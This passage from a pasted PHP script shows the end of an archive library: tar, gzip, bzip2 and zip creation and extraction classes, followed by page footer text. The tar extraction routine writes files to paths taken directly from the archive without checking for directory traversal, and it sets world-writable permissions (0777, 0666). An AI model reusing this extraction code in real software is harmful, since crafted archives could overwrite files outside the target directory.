  2702.         {
  2703.             return strcmp(strtolower($a['name']),strtolower($b['name']));
  2704.         }
  2705.         else
  2706.         {
  2707.             if($a['ext'] != $b['ext'])
  2708.             {
  2709.                 return strcmp($a['ext'],$b['ext']);
  2710.             }
  2711.             else if($a['stat'][7] != $b['stat'][7])
  2712.             {
  2713.                 return $a['stat'][7] > $b['stat'][7]? -1 : 1;
  2714.             }
  2715.             else
  2716.             {
  2717.                 return strcmp(strtolower($a['name']),strtolower($b['name']));
  2718.             }
  2719.         }
  2720.         return 0;
  2721.     }
  2722.  
  2723.     function download_file()
  2724.     {
  2725.         if($this->options['inmemory'] == 0)
  2726.         {
  2727.             $this->error[] = "Can only use download_file() if archive is in memory. Redirect to file otherwise, it is faster.";
  2728.             return;
  2729.         }
  2730.         switch($this->options['type'])
  2731.         {
  2732.         case "zip":
  2733.             header("Content-type:application/zip");
  2734.             break;
  2735.         case "bzip":
  2736.             header("Content-type:application/x-compressed");
  2737.             break;
  2738.         case "gzip":
  2739.             header("Content-type:application/x-compressed");
  2740.             break;
  2741.         case "tar":
  2742.             header("Content-type:application/x-tar");
  2743.         }
  2744.         $header = "Content-disposition: attachment; filename=\"";
  2745.         $header .= strstr($this->options['name'],"/")? substr($this->options['name'],strrpos($this->options['name'],"/") + 1) : $this->options['name'];
  2746.         $header .= "\"";
  2747.         header($header);
  2748.         header("Content-length: " . strlen($this->archive));
  2749.         header("Content-transfer-encoding: binary");
  2750.         header("Cache-control: no-cache, must-revalidate, post-check=0, pre-check=0");
  2751.         header("Pragma: no-cache");
  2752.         header("Expires: 0");
  2753.         print($this->archive);
  2754.     }
  2755. }
  2756.  
  2757. class tar_file extends archive
  2758. {
  2759.     function tar_file($name)
  2760.     {
  2761.         $this->archive($name);
  2762.         $this->options['type'] = "tar";
  2763.     }
  2764.  
  2765.     function create_tar()
  2766.     {
  2767.         $pwd = getcwd();
  2768.         chdir($this->options['basedir']);
  2769.  
  2770.         foreach($this->files as $current)
  2771.         {
  2772.             if($current['name'] == $this->options['name'])
  2773.             {
  2774.                 continue;
  2775.             }
  2776.             if(strlen($current['name2']) > 99)
  2777.             {
  2778.                 $path = substr($current['name2'],0,strpos($current['name2'],"/",strlen($current['name2']) - 100) + 1);
  2779.                 $current['name2'] = substr($current['name2'],strlen($path));
  2780.                 if(strlen($path) > 154 || strlen($current['name2']) > 99)
  2781.                 {
  2782.                     $this->error[] = "Could not add {$path}{$current['name2']} to archive because the filename is too long.";
  2783.                     continue;
  2784.                 }
  2785.             }
  2786.             $block = pack("a100a8a8a8a12a12a8a1a100a6a2a32a32a8a8a155a12",$current['name2'],decoct($current['stat'][2]),
  2787.                 sprintf("%6s ",decoct($current['stat'][4])),sprintf("%6s ",decoct($current['stat'][5])),
  2788.                 sprintf("%11s ",decoct($current['stat'][7])),sprintf("%11s ",decoct($current['stat'][9])),
  2789.                 "        ",$current['type'],"","ustar","00","Unknown","Unknown","","",!empty($path)? $path : "","");
  2790.  
  2791.             $checksum = 0;
  2792.             for($i = 0; $i < 512; $i++)
  2793.             {
  2794.                 $checksum += ord(substr($block,$i,1));
  2795.             }
  2796.             $checksum = pack("a8",sprintf("%6s ",decoct($checksum)));
  2797.             $block = substr_replace($block,$checksum,148,8);
  2798.  
  2799.             if($current['stat'][7] == 0)
  2800.             {
  2801.                 $this->add_data($block);
  2802.             }
  2803.             else if($fp = @fopen($current['name'],"rb"))
  2804.             {
  2805.                 $this->add_data($block);
  2806.                 while($temp = fread($fp,1048576))
  2807.                 {
  2808.                     $this->add_data($temp);
  2809.                 }
  2810.                 if($current['stat'][7] % 512 > 0)
  2811.                 {
  2812.                     $temp = "";
  2813.                     for($i = 0; $i < 512 - $current['stat'][7] % 512; $i++)
  2814.                     {
  2815.                         $temp .= "\0";
  2816.                     }
  2817.                     $this->add_data($temp);
  2818.                 }
  2819.                 fclose($fp);
  2820.             }
  2821.             else
  2822.             {
  2823.                 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
  2824.             }
  2825.         }
  2826.  
  2827.         $this->add_data(pack("a512",""));
  2828.  
  2829.         chdir($pwd);
  2830.  
  2831.         return 1;
  2832.  
  2833.     }
  2834.  
  2835.     function extract_files()
  2836.     {
  2837.         $pwd = getcwd();
  2838.         chdir($this->options['basedir']);
  2839.  
  2840.         if($fp = $this->open_archive())
  2841.         {
  2842.             if($this->options['inmemory'] == 1)
  2843.             {
  2844.                 $this->files = array();
  2845.             }
  2846.  
  2847.             while($block = fread($fp,512))
  2848.             {
  2849.                 $temp = unpack("a100name/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1type/a100temp/a6magic/a2temp/a32temp/a32temp/a8temp/a8temp/a155prefix/a12temp",$block);
  2850.                 $file = array(
  2851.                     'name'=>$temp['prefix'] . $temp['name'],
  2852.                     'stat'=>array(
  2853.                         2=>$temp['mode'],
  2854.                         4=>octdec($temp['uid']),
  2855.                         5=>octdec($temp['gid']),
  2856.                         7=>octdec($temp['size']),
  2857.                         9=>octdec($temp['mtime']),
  2858.                     ),
  2859.                     'checksum'=>octdec($temp['checksum']),
  2860.                     'type'=>$temp['type'],
  2861.                     'magic'=>$temp['magic'],
  2862.                 );
  2863.                 if($file['checksum'] == 0x00000000)
  2864.                 {
  2865.                     break;
  2866.                 }
  2867.                 else if($file['magic'] != "ustar")
  2868.                 {
  2869.                     $this->error[] = "This script does not support extracting this type of tar file.";
  2870.                     break;
  2871.                 }
  2872.                 $block = substr_replace($block,"        ",148,8);
  2873.                 $checksum = 0;
  2874.                 for($i = 0; $i < 512; $i++)
  2875.                 {
  2876.                     $checksum += ord(substr($block,$i,1));
  2877.                 }
  2878.                 if($file['checksum'] != $checksum)
  2879.                 {
  2880.                     $this->error[] = "Could not extract from {$this->options['name']}, it is corrupt.";
  2881.                 }
  2882.  
  2883.                 if($this->options['inmemory'] == 1)
  2884.                 {
  2885.                     $file['data'] = fread($fp,$file['stat'][7]);
  2886.                     fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
  2887.                     unset($file['checksum'],$file['magic']);
  2888.                     $this->files[] = $file;
  2889.                 }
  2890.                 else
  2891.                 {
  2892.                     if($file['type'] == 5)
  2893.                     {
  2894.                         if(!is_dir($file['name']))
  2895.                         {
  2896.                             mkdir($file['name'],0777);
  2897.                             //mkdir($file['name'],$file['stat'][2]);
  2898.                             //chown($file['name'],$file['stat'][4]);
  2899.                             //chgrp($file['name'],$file['stat'][5]);
  2900.                         }
  2901.                     }
  2902.                     else if($this->options['overwrite'] == 0 && file_exists($file['name']))
  2903.                     {
  2904.                         $this->error[] = "{$file['name']} already exists.";
  2905.                     }
  2906.                     else if($new = @fopen($file['name'],"wb"))
  2907.                     {
  2908.                         fwrite($new,fread($fp,$file['stat'][7]));
  2909.                         fread($fp,(512 - $file['stat'][7] % 512) == 512? 0 : (512 - $file['stat'][7] % 512));
  2910.                         fclose($new);
  2911.                         chmod($file['name'],0666);
  2912.                         //chmod($file['name'],$file['stat'][2]);
  2913.                         //chown($file['name'],$file['stat'][4]);
  2914.                         //chgrp($file['name'],$file['stat'][5]);
  2915.                     }
  2916.                     else
  2917.                     {
  2918.                         $this->error[] = "Could not open {$file['name']} for writing.";
  2919.                     }
  2920.                 }
  2921.                 unset($file);
  2922.             }
  2923.         }
  2924.         else
  2925.         {
  2926.             $this->error[] = "Could not open file {$this->options['name']}";
  2927.         }
  2928.  
  2929.         chdir($pwd);
  2930.     }
  2931.  
  2932.     function open_archive()
  2933.     {
  2934.         return @fopen($this->options['name'],"rb");
  2935.     }
  2936. }
  2937.  
  2938. class gzip_file extends tar_file
  2939. {
  2940.     function gzip_file($name)
  2941.     {
  2942.         $this->tar_file($name);
  2943.         $this->options['type'] = "gzip";
  2944.     }
  2945.  
  2946.     function create_gzip()
  2947.     {
  2948.         if($this->options['inmemory'] == 0)
  2949.         {
  2950.             $pwd = getcwd();
  2951.             chdir($this->options['basedir']);
  2952.             if($fp = gzopen($this->options['name'],"wb{$this->options['level']}"))
  2953.             {
  2954.                 fseek($this->archive,0);
  2955.                 while($temp = fread($this->archive,1048576))
  2956.                 {
  2957.                     gzwrite($fp,$temp);
  2958.                 }
  2959.                 gzclose($fp);
  2960.                 chdir($pwd);
  2961.             }
  2962.             else
  2963.             {
  2964.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  2965.                 chdir($pwd);
  2966.                 return 0;
  2967.             }
  2968.         }
  2969.         else
  2970.         {
  2971.             $this->archive = gzencode($this->archive,$this->options['level']);
  2972.         }
  2973.  
  2974.         return 1;
  2975.     }
  2976.  
  2977.     function open_archive()
  2978.     {
  2979.         return @gzopen($this->options['name'],"rb");
  2980.     }
  2981. }
  2982.  
  2983. class bzip_file extends tar_file
  2984. {
  2985.     function bzip_file($name)
  2986.     {
  2987.         $this->tar_file($name);
  2988.         $this->options['type'] = "bzip";
  2989.     }
  2990.  
  2991.     function create_bzip()
  2992.     {
  2993.         if($this->options['inmemory'] == 0)
  2994.         {
  2995.             $pwd = getcwd();
  2996.             chdir($this->options['basedir']);
  2997.             if($fp = bzopen($this->options['name'],"wb"))
  2998.             {
  2999.                 fseek($this->archive,0);
  3000.                 while($temp = fread($this->archive,1048576))
  3001.                 {
  3002.                     bzwrite($fp,$temp);
  3003.                 }
  3004.                 bzclose($fp);
  3005.                 chdir($pwd);
  3006.             }
  3007.             else
  3008.             {
  3009.                 $this->error[] = "Could not open {$this->options['name']} for writing.";
  3010.                 chdir($pwd);
  3011.                 return 0;
  3012.             }
  3013.         }
  3014.         else
  3015.         {
  3016.             $this->archive = bzcompress($this->archive,$this->options['level']);
  3017.         }
  3018.  
  3019.         return 1;
  3020.     }
  3021.  
  3022.     function open_archive()
  3023.     {
  3024.         return @bzopen($this->options['name'],"rb");
  3025.     }
  3026. }
  3027.  
  3028. class zip_file extends archive
  3029. {
  3030.     function zip_file($name)
  3031.     {
  3032.         $this->archive($name);
  3033.         $this->options['type'] = "zip";
  3034.     }
  3035.  
  3036.     function create_zip()
  3037.     {
  3038.         $files = 0;
  3039.         $offset = 0;
  3040.         $central = "";
  3041.  
  3042.         if(!empty($this->options['sfx']))
  3043.         {
  3044.             if($fp = @fopen($this->options['sfx'],"rb"))
  3045.             {
  3046.                 $temp = fread($fp,filesize($this->options['sfx']));
  3047.                 fclose($fp);
  3048.                 $this->add_data($temp);
  3049.                 $offset += strlen($temp);
  3050.                 unset($temp);
  3051.             }
  3052.             else
  3053.             {
  3054.                 $this->error[] = "Could not open sfx module from {$this->options['sfx']}.";
  3055.             }
  3056.         }
  3057.  
  3058.         $pwd = getcwd();
  3059.         chdir($this->options['basedir']);
  3060.  
  3061.         foreach($this->files as $current)
  3062.         {
  3063.             if($current['name'] == $this->options['name'])
  3064.             {
  3065.                 continue;
  3066.             }
  3067.             $translate =  array('Ç'=>pack("C",128),'ü'=>pack("C",129),'é'=>pack("C",130),'â'=>pack("C",131),'ä'=>pack("C",132),
  3068.                                 'à'=>pack("C",133),'å'=>pack("C",134),'ç'=>pack("C",135),'ê'=>pack("C",136),'ë'=>pack("C",137),
  3069.                                 'è'=>pack("C",138),'ï'=>pack("C",139),'î'=>pack("C",140),'ì'=>pack("C",141),'Ä'=>pack("C",142),
  3070.                                 'Å'=>pack("C",143),'É'=>pack("C",144),'æ'=>pack("C",145),'Æ'=>pack("C",146),'ô'=>pack("C",147),
  3071.                                 'ö'=>pack("C",148),'ò'=>pack("C",149),'û'=>pack("C",150),'ù'=>pack("C",151),'_'=>pack("C",152),
  3072.                                 'Ö'=>pack("C",153),'Ü'=>pack("C",154),'£'=>pack("C",156),'¥'=>pack("C",157),'_'=>pack("C",158),
  3073.                                 'ƒ'=>pack("C",159),'á'=>pack("C",160),'í'=>pack("C",161),'ó'=>pack("C",162),'ú'=>pack("C",163),
  3074.                                 'ñ'=>pack("C",164),'Ñ'=>pack("C",165));
  3075.             $current['name2'] = strtr($current['name2'],$translate);
  3076.  
  3077.             $timedate = explode(" ",date("Y n j G i s",$current['stat'][9]));
  3078.             $timedate = ($timedate[0] - 1980 << 25) | ($timedate[1] << 21) | ($timedate[2] << 16) |
  3079.                 ($timedate[3] << 11) | ($timedate[4] << 5) | ($timedate[5]);
  3080.  
  3081.             $block = pack("VvvvV",0x04034b50,0x000A,0x0000,(isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate);
  3082.  
  3083.             if($current['stat'][7] == 0 && $current['type'] == 5)
  3084.             {
  3085.                 $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000);
  3086.                 $block .= $current['name2'] . "/";
  3087.                 $this->add_data($block);
  3088.                 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
  3089.                     (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
  3090.                     0x00000000,0x00000000,0x00000000,strlen($current['name2']) + 1,0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
  3091.                 $central .= $current['name2'] . "/";
  3092.                 $files++;
  3093.                 $offset += (31 + strlen($current['name2']));
  3094.             }
  3095.             else if($current['stat'][7] == 0)
  3096.             {
  3097.                 $block .= pack("VVVvv",0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000);
  3098.                 $block .= $current['name2'];
  3099.                 $this->add_data($block);
  3100.                 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
  3101.                     (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
  3102.                     0x00000000,0x00000000,0x00000000,strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,$current['type'] == 5? 0x00000010 : 0x00000000,$offset);
  3103.                 $central .= $current['name2'];
  3104.                 $files++;
  3105.                 $offset += (30 + strlen($current['name2']));
  3106.             }
  3107.             else if($fp = @fopen($current['name'],"rb"))
  3108.             {
  3109.                 $temp = fread($fp,$current['stat'][7]);
  3110.                 fclose($fp);
  3111.                 $crc32 = crc32($temp);
  3112.                 if(!isset($current['method']) && $this->options['method'] == 1)
  3113.                 {
  3114.                     $temp = gzcompress($temp,$this->options['level']);
  3115.                     $size = strlen($temp) - 6;
  3116.                     $temp = substr($temp,2,$size);
  3117.                 }
  3118.                 else
  3119.                 {
  3120.                     $size = strlen($temp);
  3121.                 }
  3122.                 $block .= pack("VVVvv",$crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000);
  3123.                 $block .= $current['name2'];
  3124.                 $this->add_data($block);
  3125.                 $this->add_data($temp);
  3126.                 unset($temp);
  3127.                 $central .= pack("VvvvvVVVVvvvvvVV",0x02014b50,0x0014,$this->options['method'] == 0? 0x0000 : 0x000A,0x0000,
  3128.                     (isset($current['method']) || $this->options['method'] == 0)? 0x0000 : 0x0008,$timedate,
  3129.                     $crc32,$size,$current['stat'][7],strlen($current['name2']),0x0000,0x0000,0x0000,0x0000,0x00000000,$offset);
  3130.                 $central .= $current['name2'];
  3131.                 $files++;
  3132.                 $offset += (30 + strlen($current['name2']) + $size);
  3133.             }
  3134.             else
  3135.             {
  3136.                 $this->error[] = "Could not open file {$current['name']} for reading. It was not added.";
  3137.             }
  3138.         }
  3139.  
  3140.         $this->add_data($central);
  3141.  
  3142.         $this->add_data(pack("VvvvvVVv",0x06054b50,0x0000,0x0000,$files,$files,strlen($central),$offset,
  3143.             !empty($this->options['comment'])? strlen($this->options['comment']) : 0x0000));
  3144.  
  3145.         if(!empty($this->options['comment']))
  3146.         {
  3147.             $this->add_data($this->options['comment']);
  3148.         }
  3149.  
  3150.         chdir($pwd);
  3151.  
  3152.         return 1;
  3153.     }
  3154. }
  3155. // +--------------------------------------------------
  3156. // | THE END
  3157. // +--------------------------------------------------
  3158. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement